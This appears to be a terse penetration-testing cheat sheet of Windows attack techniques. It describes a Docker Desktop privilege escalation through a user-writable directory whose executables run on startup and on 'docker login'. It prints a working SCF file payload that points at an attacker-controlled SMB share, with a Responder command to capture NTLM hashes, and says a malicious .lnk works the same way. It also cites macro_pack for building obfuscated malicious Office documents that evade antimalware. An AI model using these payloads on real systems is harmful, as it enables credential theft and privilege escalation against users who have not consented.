Vulnerable Services

Docker Desktop Community Edition before 2.1.0.1.

Elevation of Privilege in Docker for WindowsMedium

The program looks for docker-credential-wincred.exe and docker-credential-wincred.bat files in the C:\PROGRAMDATA\DockerDesktop\version-bin\. This directory was misconfigured to allow full write access to the BUILTIN\Users group, meaning that any authenticated user on the system could write a file into it (such as a malicious executable).

Any executable placed in that directory would run when a) the Docker application starts and b) when a user authenticates using the command docker login.

SCF on a File Share

Using SCFs no longer works on Server 2019 hosts, but we can achieve the same effect using a malicious .lnk file.

@Inventory.scf

Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop

sudo responder -wrf -v -I tun0

Obfuscated Files

Word, ppt, scf, lnk, etc

GitHub - sevagas/macro_pack: macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments. The goal of macro_pack is to simplify exploitation, antimalware bypass, and automatize the process from malicious macro and script generation to final document generation. It also provides a lot of helpful features useful for redteam or security research.GitHub
